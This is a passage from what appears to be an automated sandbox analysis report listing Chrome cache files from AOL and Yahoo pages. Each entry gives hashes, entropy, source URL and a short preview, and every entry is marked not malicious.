"],["1020210"],["1020620"],["1021909"],["1021946"],["1022505"],["1022890"],["1023422"],["10237869"],["1024178"],["1024512"],["1024892"],["1025147"],["1025422"],["10255

Chrome Cache Entry: 527

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://sb.scorecardresearch.com/p?c1=19&c2=27061346&ca2=null&ns_ap_an=unknown&ns_ap_pn=js&ns_ap_pv=5&c12=_&name=foreground&ns_ap_ec=20&ns_ap_ev=hidden&ns_ap_device=Win32&ns_ap_id=1716503711984&ns_ap_bi=unknown&ns_ap_pfm=webbrowser&ns_ap_pfv=Chrome%20117.0.0.0&ns_ap_ver=unknown&ns_ap_sv=7.8.0%2B2310050509&ns_ap_bv=7.8.0%2B2310050509&ns_ap_smv=6.4&ns_type=hidden&ns_ts=1716503727368&ns_ap_env=0-0-2&cs_fpid=null&cs_fpit=null&cs_fpdm=null&cs_fpdt=null&ns_st_sv=7.8.0%2B2310050509&ns_st_smv=6.4&ns_st_it=c&ns_st_id=40ff1bab4a8b486aa330c4b5815ee2bd&ns_st_ec=18&ns_st_cn=1&ns_st_ev=pause&ns_st_sp=1&ns_st_sc=1&ns_st_ppc=1&ns_st_apc=1&ns_st_spc=1&ns_st_dppc=0&ns_st_dapc=0&ns_st_dspc=0&ns_st_psq=9&ns_st_asq=9&ns_st_sq=9&ns_st_po=3234&ns_st_lda=0&ns_st_ldw=0&ns_st_ldo=0&ns_st_hd=-1&ns_st_mp=Yahoo%20Video%20Player&ns_st_mv=1.6.29&ns_st_cl=68416&ns_st_pn=1&ns_st_tp=0&ns_st_ct=vc11&ns_st_li=0&ns_st_ty=video&ns_st_ci=42b897a6-9771-3329-b351-69a701a77438&ns_ap_ar=unknown&ns_ap_cs=1&ns_radio=unknown&ns_st_pt=3234&ns_st_ipt=11&ns_st_iap=11&ns_st_iet=11&ns_st_iupc=11&ns_st_iupa=11&ns_st_ilpc=11&ns_st_ilpa=11&ns_st_ibc=0&ns_st_ibt=0&ns_st_itpc=0&ns_st_icpc=0&ns_st_cfg=111110001-5-4b0-3-5&c3=yahoo&ca3=yahoos&c4=us.aolportal&ca4=us.aolportals&c6=&ns_st_pu=Yahoo&ns_st_st=Yahoo&ns_st_pr=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&ns_st_sn=null&ns_st_en=null&ns_st_ep=AP&ns_st_ge=null&ns_st_cs=368x276&ns_st_dskc=0&ns_st_dska=0&ns_st_skd=0&ns_st_dskt=0&ns_st_dpc=1&cs_ucfr=1&ns_ap_res=1280x907&ns_ap_sd=1280x1024&ns_ap_po=0x0&ns_ap_lang=en-US&ns_c=UTF-8&ns_st_br=0&ns_st_rt=100&ns_st_vo=100&ns_st_dpt=11&ns_st_ap=3234&ns_st_dap=11&ns_st_et=10234&ns_st_det=11&ns_st_upc=3234&ns_st_dupc=11&ns_st_upa=3234&ns_st_dupa=11&ns_st_lpc=3234&ns_st_dlpc=11&ns_st_lpa=3234&ns_st_dlpa=11&ns_st_bc=0&ns_st_dbc=0&ns_st_bt=4080&ns_st_dbt=0&ns_st_bp=4080&ns_st_dtpc=0&ns_st_dcpc=0&ns_st_skc=0&ns_st_ska=0&ns_st_skt=0&ns_st_pc=9&ns_st_pp=9&ns_st_pa=3234&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9=&ns_st_ub=0
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 528

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	5778
Entropy (8bit):	4.0305539921544815
Encrypted:	false
SSDEEP:	96:avfqh2eGTBoaX4wBPFU2e419aj28g8iHNkR+uX2a5hJcNP2c6DzKV3t6Ueu5DErI:yqh14BohwBPg419AMHaYufJckc6qV3QK
MD5:	0F121237872CCB64CF52B3C4A2405745
SHA1:	0675A14DB97BDC8287FE23ECC67505FAAFAB402A
SHA-256:	DEBF3438D86E63280DDBE393891CE01DE87157C80DE51F3766B462A792CCFE44
SHA-512:	3E7C529D9171556943BC29FE7DCDAD4F18D8544D5B1D04C923DE99F1CAA02991CABBF99404335DAD72F4E6A4D7E9BD96C909D2B8C9F7676BCB66EA11AB05C478
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>. Generator: Adobe Illustrator 28.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->.<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px".. viewBox="0 0 85 12" style="enable-background:new 0 0 85 12;" xml:space="preserve">.<style type="text/css">...st0{fill-rule:evenodd;clip-rule:evenodd;fill:#A9B1B9;}.</style>.<path class="st0" d="M11.2,3L9.4,2.6L9,0.8L7.3,1.4L6,0L4.8,1.4L3,0.8L2.6,2.6L0.8,3l0.6,1.8L0,6l1.4,1.2L0.8,9l1.8,0.4L3,11.2..l1.8-0.6L6,12l1.2-1.4l1.8,0.6l0.4-1.8L11.3,9l-0.6-1.8L12.1,6l-1.4-1.2L11.2,3L11.2,3z M6,1.8C3.7,1.8,1.8,3.7,1.8,6..s1.9,4.2,4.2,4.2s4.2-1.9,4.2-4.2S8.3,1.8,6,1.8z M3.4,3.4C4.8,2,7.2,2,8.7,3.4c1.5,1.4,1.5,3.8,0,5.2c-1.5,1.4-3.8,1.4-5.3,0..C1.9,7.2,1.9,4.9,3.4,3.4 M38.8,4.1v3.2c0,0.6-0.1,1.1-0.3,1.3c-0.2,0.3-0.5,0.4-0.9,0.4c-0.4,0-0.6-0.1-0.8-0.4..c-0.1-0.2-0.2-0.6-0.2-1.1V4.1H35v3.7c0,0.4,0,0.7,0.1,1c0.1,0.3,0.2,0.6,0.3,0.8c0.2,0.2,0.4,0

Chrome Cache Entry: 529

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (13124), with no line terminators
Category:	downloaded
Size (bytes):	13124
Entropy (8bit):	5.281539607685133
Encrypted:	false
SSDEEP:	192:pn4pA3FKfJo6WRONWV0hs449WgLGeOmuVb8jhNXh8C88IQ4jhNXh8C88IQ97+d8G:x4pA3IfYRCvwOmimh8f8+h8f8l7+d8G
MD5:	A73C33D7BF1324F787CFE13C6A23D2ED
SHA1:	F83D25A4E49B04EF7D65FDAC3737426343856B57
SHA-256:	DFD3FB0722109B9F3127066296F4368D6F191E5B76D7D431102B196458BCDF41
SHA-512:	ECADE53CD4195C207481D6741DD37CA132B55677A88BE62E27C93E6B580F47D56D463DC51F2B192C00B033A187CC175185E175B547D9592EC012A26A4AB4695C
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/psstatic/aolhelp-prod/18.5.53/assets/modules/en-bundle-home.js
Preview:	!function(e){function a(a){for(var i,t,r=a[0],s=a[1],o=0,l=[];o<r.length;o++)t=r[o],Object.prototype.hasOwnProperty.call(n,t)&&n[t]&&l.push(n[t][0]),n[t]=0;for(i in s)Object.prototype.hasOwnProperty.call(s,i)&&(e[i]=s[i]);for(c&&c(a);l.length;)l.shift()()}var i={},t={8:0,19:0},n={8:0,19:0};function r(a){if(i[a])return i[a].exports;var t=i[a]={i:a,l:!1,exports:{}};return e[a].call(t.exports,t,t.exports,r),t.l=!0,t.exports}r.e=function(e){var a=[];t[e]?a.push(t[e]):0!==t[e]&&{0:1,9:1}[e]&&a.push(t[e]=new Promise((function(a,i){for(var n=({9:"offer-templates"}[e]\|\|e)+".css",s=r.p+n,o=document.getElementsByTagName("link"),l=0;l<o.length;l++){var c=(u=o[l]).getAttribute("data-href")\|\|u.getAttribute("href");if("stylesheet"===u.rel&&(c===n\|\|c===s))return a()}var d=document.getElementsByTagName("style");for(l=0;l<d.length;l++){var u;if((c=(u=d[l]).getAttribute("data-href"))===n\|\|c===s)return a()}var p=document.createElement("link");p.rel="stylesheet",p.type="text/css",p.onload=a,p.onerror=func

Chrome Cache Entry: 530

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1133969
Entropy (8bit):	5.494047666012332
Encrypted:	false
SSDEEP:	12288:SsWblFfr32mxP7/HS7rBPpMogvEoV3f0TpLAJIyiMyO4i7CnkR9V95jzSYonR:7WHT32mN/HY8ogvXRiGJIyVtXenkR/U
MD5:	6298D4501C7BAAAFFEE0DE67B4FEC627
SHA1:	7C02A500461073AB64ECEABF32348D248FC281C1
SHA-256:	F2A9D54B64450ADB683551FD7163EB31B534B0ED4B0324236C6D3F59F73FD3DA
SHA-512:	64FD0D8FA831AA4A5BEF134DB4E560B8D4AF24FB7AF8327AC4C1EF31F55A55D0735A648D798EBBE4AC003FD75AAF7C57AFD630F28EFD9AFD94E135FDFE06279C
Malicious:	false
Reputation:	low
URL:	https://players.brightcove.net/6415665815001/LJKY1s7eB_default/index.min.js
Preview:	(function(t,i){if(typeof define==="function"&&define.amd){define("bc",[],function(){var e=i.apply(this,arguments);t.videojs.log.warn("DEPRECATION: Using the default named RequireJS module in the Brightcove Player is deprecated. See: https://support.brightcove.com/requirejs-and-brightcove-player#Future_implementation");return e})}else if(typeof exports==="object"){module.exports=i()}else{t.bc=i(t)}})(this,function(e){var t='.vjs-svg-icon{display:inline-block;background-repeat:no-repeat;background-position:center;fill:currentColor;height:1.8em;width:1.8em}.vjs-svg-icon:before{content:none!important}.vjs-control:focus .vjs-svg-icon,.vjs-svg-icon:hover{filter:drop-shadow(0 0 .25em #fff)}.video-js .vjs-big-play-button .vjs-icon-placeholder:before,.video-js .vjs-modal-dialog,.vjs-button>.vjs-icon-placeholder:before,.vjs-modal-dialog .vjs-modal-dialog-content{position:absolute;top:0;left:0;width:100%;height:100%}.video-js .vjs-big-play-button .vjs-icon-placeholder:before,.vjs-button>.vjs-icon

Chrome Cache Entry: 531

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537072991&val=CAESENisdoc4RyZrBUCCVbum6Dg&google_cver=1
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 532

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6072
Entropy (8bit):	5.893397677958453
Encrypted:	false
SSDEEP:	96:Eu9aoKx6DDe9cdbZ4f8itef8itVm2OsDJe8mA3P+DeWMtm4gZnjnYvyY:Mx6e9ob49Y9VmKk832BD2N
MD5:	20543E13BE603D4B43AB476DEA7E227A
SHA1:	EBAE1143743C8BFC4A5FACC8E19FA99C163F9B0E
SHA-256:	B0F6228C654C436B3EE0833F42FC804CD070D48D4B0F9E64CDD99D58C271B895
SHA-512:	3F7C25C385D602972D1EDD067DB6AB65A4A990371387D9372E70078C2500ADC5CDC49EA8BCD2DE78EEA28CF6D2436C0B901B14392E078590CA303C1AE28652AE
Malicious:	false
Reputation:	low
Preview:	{"query":{"results":{"mediaObj":[{"id":"42b897a6-9771-3329-b351-69a701a77438","meta":{"attribution":"","description":"Tennessee judge blocks effort to sell Elvis Presley's former home; Prince William hosts royal summer party in the rain at Buckingham Palace; Drew Barrymore stars in new ad with her dog. (May 23)","title":"3 Things to Know: Graceland, Prince William, Barrymore","genre":"","embed_rights":true,"duration":68,"url":"https://www.yahoo.com/entertainment/3-things-know-graceland-prince-105145029.html","thumbnail":"","create_date":"2024-05-23T10:53:28Z","provider":{"provider_id":"video.associatedpressfree.com","provider_video_id":"6bdcc9b44e4944e0afb2acf2b5e6c7e6","name":"Associated Press Videos","url":"https://apnews.com/","logourl":"","publisher_id":"40b7c292-694f-3fa7-a9c4-da9146492087","provider_brand_object_ref":"e674a07f-e79a-3d27-901e-361e42dd746c"},"thumbnail_dimensions":{"width":0,"height":0},"credits":{"featured_artists":"","director":"","main_artists":"","label":""

Chrome Cache Entry: 533

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1890
Entropy (8bit):	6.5887583722303
Encrypted:	false
SSDEEP:	48:UWYh1i4W1to+lGi6cQSDl0cqxWVFZgJ0nB5oTKR5K4F:dYh1ao+lOgkWOdT0Ao
MD5:	2D9A8BA46E16FD58C70BA88FB8D86218
SHA1:	4DD662A856CC92CAB1498D7BE9F481857AABA9D5
SHA-256:	741CDC5F53ADA173D227F855AE5F5FDD1E698D406ABDD954125464FC4FAD74A4
SHA-512:	C9AA10B3AAD5A366E9804EFD963AFFEC117C078606A5ACC43E54041D8FC81FC36C93080D6A22A71CA3FCDC14B1CA5144695A9BB0F8878DBD2E41D4F75E575635
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL................................................................................................................................................................................w............................................................................................................................................w..w........w..w...........w..............w......................................................................Y..n!.a..r(.e.........t.......`.....c...z..B.l......M.[..g..]..j.....x/..h.h......E..f..W.~:..K...e.....Y...b..H.z3........>..q.......}..l........P.................f..........^.....z4.....y....o..S.k............i.._.\|7.....n..\........s.................._..s)......b...............................p#.....Z.m!.s(..w..........q'..3j....tRNS..f.....F....s.............................`oD."...@ 5_....+...=~%.y..U<....{..(JM..ah...j......m8^?.T\|wS..0.7..)B.P63.\Y.Xr........].f2G.....IDATH.c`..H.Y..#.\|..n.9.th

Chrome Cache Entry: 534

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	3
Entropy (8bit):	0.9182958340544896
Encrypted:	false
SSDEEP:	3:+:+
MD5:	CF1731F1EADF52F064E6059D699E7615
SHA1:	816201B65AF045985CF47B5C7C58089759D00A45
SHA-256:	2E34AF284C28BF285781A36241B6E00EC74C81E6AE6858D52BDEDE5EBF7E37C1
SHA-512:	6C1809CAE27A9024FAE8DF165028316CD65E877E9362F5D132724675F7F9DC14A4A52DA43C0F6BDF7826CC1E6AA4633F79082B6125AD73DBA067C358169B29F8
Malicious:	false
Reputation:	low
Preview:	ll;

Chrome Cache Entry: 535

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	257707
Entropy (8bit):	4.96931216093276
Encrypted:	false
SSDEEP:	1536:ErNEuP53vfuJBnDagM9h9p9QxEdah/KZOecw0d7c+fAWpA4c+iEzMCbf0efEBBM8:S
MD5:	9FD2039B03CCA64AFF26E1427FF86077
SHA1:	B1173CC06F1607D434F53E7DB4C99CABEB95E302
SHA-256:	C771CEB3BA783869B12DCE9D54F01050D937512A2317B3903BAC99A93FDCD9C9
SHA-512:	A48CD1DB610EC5C6FD35920484B014CCE389FFA4D2E18B983BF1EBF21AB93BEB271D8D532FABAE43ECB9CFBDFF3D085B5F0E0555CD6187F4472797B4D52298E8
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/caas-assets-production/assets/v1/weather.9fd2039b03cca64a.css
Preview:	.m-ln{text-align:left;font-size:16px;font-family:Poppins,_OpenSans,OpenSans,Helvetica Neue,helvetica,arial,sans-serif;color:#232a31;margin-bottom:24px;margin-top:24px}.m-ln__title{border-left:4px solid #ffcb00;font-size:28px;font-style:normal;font-weight:800;line-height:1.25;margin:0;padding:6px 12px;letter-spacing:-.75px}.m-ln__body{padding:24px 0}.m-ln__link{text-decoration:none;color:inherit}.m-ln__link:hover{color:#0047ff}.m-ln__content--left{margin-bottom:40px}.m-ln__content--center .m-ln__heading,.m-ln__content--right .m-ln__heading{font-size:.875em;line-height:1.428}.m-ln__content--center .m-ln__image,.m-ln__content--right .m-ln__image{border-radius:.5em}.m-ln__image{position:relative;height:0;width:100%;padding-top:56.25%;border-radius:1em;overflow:hidden;margin-bottom:20px}.m-ln__image img{position:absolute;top:0;left:0;width:100%;height:100%;-o-object-fit:cover;object-fit:cover}.m-ln__heading{margin:0;font-size:1em;font-weight:700;line-height:24px}.m-ln__summary{font-family:_

Chrome Cache Entry: 536

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 300 x 300, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	6193
Entropy (8bit):	7.90418322046295
Encrypted:	false
SSDEEP:	96:nZLXFHmvBf3ytyICs5OXOrjGLQ309L3eBeJVQ0PEk863VzqBVEVO9f0OKeqbChX:nZhC30QedEBOEVsIFWjEmcheq2p
MD5:	4B9E4A912420CCCB605FA46854D1E60F
SHA1:	1DA212585A283640FC5F2952B3E38A0625D3A878
SHA-256:	94171825923258FB1D430CCBB5B64FFDD5D93EF002F7DDFF4AF50686CCD9A06F
SHA-512:	FE7CFCCCD42A465139975E23BB87CF07EAA8448B1900797855F195C06A3ED4FFB474C1B47F7838785C9CD025017CEEB7E061CE392AC43DE244448540C5123D82
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?quality=80&thumbnail=300%2C300%2Cauto&image_uri=https%3A%2F%2Fmedia.zenfs.com%2Fen%2Faol_variety_168%2F86398a45e567bb803f18e1c898b80f4d&client=76f99bdb8f78cd44cc0b&signature=fa8a7e31abec34ce9bbd0b370082807b05100ca9
Preview:	.PNG........IHDR...,...,.....N.~G...]PLTE.Q..P..P..R..R..R....................Q..V....3h......w..$_.$a.Ex...........k..T..=p.....N...T.....IDATx..ks.:......s.!\....y$.I..~8..L...v.B.cY...$a.X,...b.X,...b.X,...b.X,...b.X,...b.X,...b.X,...b.X,...b.X,...b.X,...b.X,...b.......hP...i.+)...d.....Rl\_.^.e].`,.....1&7^E..C..j.j...........k...2\.<.....k.e={.Q...J.,de..4..=\|...d.ek...9.rk.i&X.,....a..>..p....k..E...E..C......R@.C4..g.....7O...mv....i.)c.J.6.W...a."'.x,......)..q.m...X.YN.`v....KV-xv..7..sk<+.eV@.._..a\|...\|q...\....5....Q....r....."...YV..(m...P..a.8+...A..1+.El....V..r........fC..@}.`:r....f..2.q..gw......2.-._..J.q.....t..@+....C."O...4...0o#.6..y,..;.;....Ou.....,z......'.G....L..o..8...,+..0....z]x,.%..L.....c,\|..zHy$.e...>..)N...&1.....e.O..5....au..@.....m.a..`%:2 3V.......fT.aXa.?:...X>.%....D(..`E..._.KT.i....-.:........(...m>....2..#,.....JtVu..zaY+..<..u..$..._...e%..........>.`..M[=MxjEXtt..0.0....>.....,...#.~+-..1....j

Chrome Cache Entry: 537

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46710), with no line terminators
Category:	downloaded
Size (bytes):	46710
Entropy (8bit):	5.217868641698593
Encrypted:	false
SSDEEP:	768:+jSaF13bkxgCaPRq++10rJXq6MqoqNqpKEkmKqZKIJ6ao8bOFpD2JvyjE6piEELJ:mJbqZKWNo8bOmJvsTpiEE/Y4yh9Bqdr
MD5:	F504546F5C9F0E405D16DFBB9F07F7AE
SHA1:	3179F8DE86DF431AFEACC9A4F488C94FCB5811DF
SHA-256:	91A928C89EFF6584384BA12ED92A1BD81D27AEF8A836C5DA86E141B75F77F74D
SHA-512:	240FCD776B82E58B902B0F16F4C1F2A500B57354009A51A9038EBF682CAD0B070B8DD9CA6EC9AADEED40B0E331CC74E16EB62E92D3F941F7371BEDDCFF624CA8
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-dl-1.7.0.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-dl",[],t):"object"==typeof exports?exports["wafer-dl"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-dl"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(n){if(i[n])return i[n].exports;var r=i[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,t),r.l=!0,r.exports}var i={};return t.m=e,t.c=i,t.d=function(e,i,n){t.o(e,i)\|\|Object.defineProperty(e,i,{configurable:!1,enumerable:!0,get:n})},t.n=function(e){var i=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(i,"a",i),i},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/base.js":function(e,t,i){"use strict";function n(){return h=l(i("./src/data.js"))}function r(){return v=l(i("./src/plugins/autoscroller.js"))}functio

Chrome Cache Entry: 538

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537073028&val=6a235f9e-9b26-4d12-95f6-f4919d5fecf1
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 539

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (9900)
Category:	downloaded
Size (bytes):	9946
Entropy (8bit):	5.171160976042961
Encrypted:	false
SSDEEP:	192:31Ol9JCpEk5EnXhCpblLCk104fZivykhWy/SRDK6uVj92s6gxmtCyUty7A5vw5wR:314JCqrCxlLh0iiykhWyYuuTfC/tGAFz
MD5:	E005FE8327DF316B2E93F581C05309AD
SHA1:	BE555D84EDF6C7FF30C763C261749F2F6C9759F1
SHA-256:	28EB1014457E4DBC22CF8F5D09DE1786FD00BB309F02958407C760B19F35266D
SHA-512:	E7042AB09282EADDB5253019262407D408F9AC1CD1BF989342573FB4F702B4A39D66D4ED7C74406547EC3758361602AF941F4214FBB1B9620A95AD5C17B17A5F
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/caas-assets-production/assets/v1/y_finance_markets.e005fe8327df316b.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("CAAS_AOLCOM",[],t):"object"==typeof exports?exports.CAAS_AOLCOM=t():e.CAAS_AOLCOM=t()}(self,(function(){return function(){var e={9356:function(e){function t(e,t){(null==t\|\|t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var n={rapidInit:"rapid:init"};e.exports={events:n,rapidReady:function(e){window.rapidInstance?e(window.rapidInstance):document.addEventListener(n.rapidInit,(function(){e(window.rapidInstance)}),{passive:!0,once:!0})},ylkStringToObj:function(){var e=["itc","cpos","pos"];return(arguments.length>0&&void 0!==arguments[0]?arguments[0]:"").split(";").filter(Boolean).reduce((function(n,r){var o,i,a=(o=r.split(":"),i=2,function(e){if(Array.isArray(e))return e}(o)\|\|function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]\|\|e["@@iterator"];if(null!=n){var r,o,i,a,c=[],l=!0,s=!1;try{if(i=(n=n.call(e

Chrome Cache Entry: 540

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1869
Entropy (8bit):	7.026382285810321
Encrypted:	false
SSDEEP:	48:NiGfPCSiB/Zp5PKQQiYZxDlD17gqHvyfdjeo4:NtfPCSiBB/KQQisRvyco4
MD5:	1263DDCC7DACAE9E9E9E97E9B719A347
SHA1:	BE4C57CE37AFBD64CAAB7F605EF22AD40BD4C6D6
SHA-256:	A25F4D8BDEF040121534C9B4D08AE71B7D801E6D1AC4DD3A580130E4AFD81742
SHA-512:	A03510C3A061420E234ABCE2B1C41DC4F904A7762585F96DE52C8F8A62A5493F3DBEF2B2B3E1BD1FA72FFE56B1006F85863E3FFDA41795C9AA06D459047BDB18
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL......................................................................................................................................................................................................................................................................................................................................................................................................................................:.................:S..;.@X..E\.0J.dx.9R......m...Wl...">..H....k}......._s.-G....5O............Tj.}..&A.z..~..J`....u.....x..gz.$?.....'B...H_.\p....*D.p................n... <.Ka.=U...........Rh.;T.1K..............o..,F.....Pe.3M.Vk.......fy..........8Q....3L.Nd..Yn...[p..............:FR.....tRNS..y5F.l.-sb......u.@..i..zZ.+........w.~...$T0.W..9..nf. .]...;&..2..^....1...#`.'..8c...t...>4...........\|..r.E..G......g....R....M..g......oIDATH.c`.7.1c..1-b......-..b.

Chrome Cache Entry: 541

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2014), with no line terminators
Category:	downloaded
Size (bytes):	2014
Entropy (8bit):	5.5810675521069095
Encrypted:	false
SSDEEP:	48:CNzOYq7YTBagr53knyG4jdmYiedCKAHVUusyu77Qq:CNzOv7m3JgwmsdCbyf57Qq
MD5:	3BF1483548EA11BCC7BC3580DD89132A
SHA1:	B4719AE8623B2912431206D754067666C32F1E75
SHA-256:	1694E1D24B4FC35D236CCC601C25C926B5BD48B7B9EB3BAC4AFA3146BA7B0248
SHA-512:	B7549CDB73C21D346BB62E5CCA17104C02EF1F77E05E2B40A08A61E47225B746085C36F456864AA1FD1D1F91076DDB55216CAE8D369AD44092C2DCA2E23AAADE
Malicious:	false
Reputation:	low
URL:	https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=41551380&p=0&s=0&a=0&ptask=ALL&np=0&fp=0&rp=0&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN
Preview:	PubMatic.loadAsyncImagePixel('https://uipglob.semasio.net/pubmatic/1/info?sType=sync&sExtCookieId=BD0DE19C-09D4-4B62-A188-46A0D2E6C177&sInitiator=external&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://pixel.onaudience.com/?partner=214&mapped=BD0DE19C-09D4-4B62-A188-46A0D2E6C177&gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://c1.adform.net/serving/cookie/match?party=14&cid=BD0DE19C-09D4-4B62-A188-46A0D2E6C177&gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://dis.criteo.com/dis/usersync.aspx?r=3&p=4&cp=pubmaticUS&cu=1&&gdpr=0&gdpr_consent=&url=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5MjgmdGw9NDMyMDA=&piggybackCookie=uid:@@CRITEO_USERID@@');PubMatic.loadAsyncImagePixel('https://creativecdn.com/cm-notify?pi=pubmatic&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://pixel-sync.sitescout.com/dmp/pixelSync?nid=3&gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://x.bidswitch.net/sync?ssp=pubmatic&gdpr

Chrome Cache Entry: 542

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	359
Entropy (8bit):	6.848197196819415
Encrypted:	false
SSDEEP:	6:6v/lhPfanDSjanmY3/lt1qQhgbylYAn7v4o5ClWnlWbyufDCS5p:6v/7qaanm4l2QSbdq7Ao5EmlWOufDZ3
MD5:	950FA11D56423BD2E5BA9400A81F5986
SHA1:	9BA1CC5C00AC42E87AC8947ED7A2C3330A023FB8
SHA-256:	B52205EBE73F61D28F7BB8498962927EA654A3986EA2B05D0B9F1DFEA7B435CB
SHA-512:	D66C66859E9BCB8AEB07A15BF2F07E361B5CF668AB405A3E4640E54967A86B7137CC63D886542373550DB6ABCCA7B9D4BCBAAC90710B1834A5A759A762299BA6
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2023-07%2Fb1f2c370-2fe4-11ee-af3f-3bc97f9dc4f0&client=76f99bdb8f78cd44cc0b&signature=a92fd85ac9aa663af76ca1d3946fd8c5faa7f639
